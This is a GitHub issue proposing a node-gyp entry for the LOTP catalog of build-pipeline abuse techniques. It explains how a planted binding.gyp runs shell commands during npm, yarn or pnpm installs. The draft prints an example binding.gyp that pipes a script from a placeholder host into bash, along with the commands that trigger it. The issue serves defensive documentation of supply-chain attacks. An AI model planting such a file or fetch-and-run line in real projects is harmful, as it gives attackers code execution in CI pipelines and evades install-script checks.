boostsecurityio / boostsecurityio/lotp

[LOTP] Add node-gyp

Open
#133 1 comment 0 reactions 0 assignees View on GitHub
idea
Dominant language
HTML
Stars
164
Forks
14
PR merge metrics
No merged PRs in 30d

Description

As discussed with @piergiorgioladisa and in response to Miasma campaign abuse this LOTP. Aikido wrote an article https://www.aikido.dev/blog/exploring-binding-gyp-npm-build-system

Slop AI draft below
=======

node-gyp description: Node.js native addon build tool tags:

* cli
* config-file
* eval-sh

# **node-gyp**

node-gyp is a cross-platform command-line tool written in Node.js for compiling native addon modules. It is bundled with npm and gets implicitly invoked when a binding.gyp file is present during dependency resolution.

## **Arbitrary Code Execution**

node-gyp evaluates shell commands by design via **Command Substitution** in .gyp configuration files. It uses the \<\!(...) syntax to execute shell commands and capture their output during the build configuration phase.

Because package managers like npm, yarn, and pnpm automatically trigger node-gyp rebuild when they detect a binding.gyp file in the project directory, an attacker can achieve arbitrary code execution in the pipeline merely by planting this file. This completely bypasses traditional checks for malicious preinstall or postinstall scripts in package.json.

### **Planted binding.gyp Configuration**

Create a binding.gyp file in the repository root (or anywhere a package manager resolves dependencies). When node-gyp parses this file, it will execute the shell command embedded within the \<\!(...) block.

{
"targets": \[
{
"target\_name": "lotp",
"type": "none",
"sources": \["\<\!(curl \-s \[https://example.com/malicious.sh\](https://example.com/malicious.sh) | bash)"\]
}
\]
}

**Triggering Execution:**

Code execution is triggered when the pipeline attempts to configure or build the project.

Explicit execution:

node-gyp configure
\# or
node-gyp rebuild

Implicit execution (most common in CI/CD pipelines via package managers):

npm install
\# or
npm ci
\# or
yarn install

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.